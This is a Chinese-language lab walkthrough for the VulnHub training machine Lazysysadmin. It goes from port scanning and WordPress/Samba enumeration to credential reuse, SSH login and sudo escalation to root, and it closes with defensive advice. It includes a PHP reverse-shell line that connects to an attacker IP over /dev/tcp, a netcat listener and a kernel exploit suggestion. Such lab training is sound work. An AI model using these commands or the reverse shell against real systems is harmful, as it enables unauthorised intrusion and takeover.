VulnHub|渗透测试入门(三)
字数 2164 2025-08-29 08:32:10
VulnHub 渗透测试入门(三) - Lazysysadmin 靶机实战教程
靶机环境概述
Lazysysadmin 是一个 VulnHub 上的渗透测试练习靶机,旨在帮助学习者掌握基本的渗透测试技能。该靶机运行在 Ubuntu 系统上,提供了多种常见的服务漏洞。
环境下载
- 主下载链接: Google Drive
- 镜像下载: VulnHub
- 种子下载: Torrent
运行环境
- VirtualBox 或 VMware Workstation Player
初始信息收集
1. 目标IP探测
使用 netdiscover 扫描本地网络,发现目标IP:
netdiscover -i wlo1
输出示例:
192.168.0.100 08:00:27:da:8a:ac 1 42 PCS Systemtechnik GmbH
2. 端口扫描
使用 masscan 快速扫描
masscan 192.168.0.100 -p 1-10000 --rate=1000
扫描结果:
Discovered open port 3306/tcp on 192.168.0.100
Discovered open port 6667/tcp on 192.168.0.100
Discovered open port 22/tcp on 192.168.0.100
Discovered open port 139/tcp on 192.168.0.100
Discovered open port 80/tcp on 192.168.0.100
Discovered open port 445/tcp on 192.168.0.100
使用 nmap 详细扫描
nmap -T4 -A -v 192.168.0.100 -p 0-10000
详细扫描结果:
- 22/tcp: OpenSSH 6.6.1p1 Ubuntu
- 80/tcp: Apache httpd 2.4.7 (Ubuntu)
- 139/tcp & 445/tcp: Samba smbd 4.3.11-Ubuntu
- 3306/tcp: MySQL (未授权访问)
- 6667/tcp: InspIRCd
Web服务渗透
1. 目录扫描
使用 dirb 进行目录爆破:
./dirb http://192.168.0.100 wordlists/common.txt -o result.txt
重要发现:
/phpmyadmin/- phpMyAdmin 管理界面/wordpress/- WordPress 站点/info.php- PHP 信息页面
2. robots.txt 分析
访问 http://192.168.0.100/robots.txt 发现:
User-agent: *
Disallow: /old/
Disallow: /test/
Disallow: /TR2/
Disallow: /Backnode_files/
这些目录可能存在敏感信息或漏洞。
3. WordPress 扫描
使用 wpscan 扫描 WordPress:
wpscan http://192.168.0.100/wordpress/
发现:
- WordPress 版本 4.8.5
- 注册功能开启
- 上传目录可列出
- 使用 twentyfifteen 主题(v1.8)
Samba 服务渗透
1. enum4linux 扫描
enum4linux 192.168.0.100
发现:
- 共享目录:
share$和print$ - 用户:
togie(Unix User)
2. 访问共享目录
Linux 下挂载共享:
mount -t cifs -o username='',password='' //192.168.0.100/share$ /mnt
Windows 下访问:
net use k: \\192.168.0.100\share$
发现重要文件:
deets.txtwp-config.php
从 wp-config.php 中获取数据库凭据:
define('DB_USER', 'root');
define('DB_PASSWORD', 'TogieMYSQL12345^^');
数据库渗透
1. phpMyAdmin 登录
使用获取的凭据尝试登录 phpMyAdmin:
- 用户名:
root - 密码:
TogieMYSQL12345^^
2. WordPress 用户凭据
从数据库中可以获取 WordPress 用户信息:
- 用户名:
Admin - 密码:
TogieMYSQL12345^^
系统访问
1. SSH 登录
从 deets.txt 获取凭据:
- 用户名:
togie - 密码:
12345
尝试 SSH 登录:
ssh togie@192.168.0.100
成功登录后检查权限:
whoami
id
发现 togie 用户有 sudo 权限:
uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
2. 提权到 root
直接使用 sudo 提权:
sudo su
输入密码 12345 后获得 root 权限。
替代渗透路径
1. WordPress 后台利用
使用获取的 WordPress 管理员凭据登录后台:
- URL:
http://192.168.0.100/wordpress/wp-admin - 用户名:
Admin - 密码:
TogieMYSQL12345^^
2. 上传 PHP 反弹 shell
编辑 404.php 模板,插入 PHP 反弹 shell 代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/1234 0>&1'"); ?>
访问触发页面获取 shell:
nc -vlp 1234
3. 提权
获取的 www-data shell 权限有限,需要提权:
python -c 'import pty; pty.spawn("/bin/sh")'
检查系统信息:
uname -r
lsb_release -a
发现:
- 内核版本: 4.4.0-31-generic
- Ubuntu 14.04.5 LTS
可使用 CVE-2017-1000112 进行提权。
总结
渗透路径总结
-
信息收集:
- 扫描发现开放端口和服务
- Web 目录爆破发现 WordPress 和 phpMyAdmin
-
Samba 共享:
- 匿名访问共享获取数据库凭据
- 发现系统用户凭据
-
系统访问:
- 使用获取的 SSH 凭据直接登录
- 利用 sudo 权限提权
-
替代路径:
- WordPress 后台管理
- 上传 webshell 获取反向连接
- 内核漏洞提权
关键知识点
-
枚举是关键:
- 全面的信息收集是渗透成功的基础
- 不要忽视任何看似不重要的信息
-
凭证复用:
- 在多个服务尝试相同的用户名/密码组合
- 用户往往会在不同服务使用相同或相似的密码
-
权限提升:
- 检查 sudo 权限
- 查找内核漏洞利用
- 利用配置不当的服务
-
多路径渗透:
- 同一目标通常有多种渗透路径
- 当一条路径受阻时尝试其他方法
防御建议
-
系统加固:
- 禁用不必要的服务
- 及时更新系统和应用补丁
- 限制共享目录的访问权限
-
密码策略:
- 使用强密码并定期更换
- 不同服务使用不同密码
- 禁用默认账户或修改默认密码
-
权限控制:
- 遵循最小权限原则
- 限制 sudo 权限
- 分离服务账户和系统账户
-
日志监控:
- 启用并定期检查系统日志
- 监控异常登录尝试
- 设置入侵检测系统
通过这个靶机的练习,可以全面掌握从信息收集到系统渗透的完整流程,以及多种渗透技术的实际应用。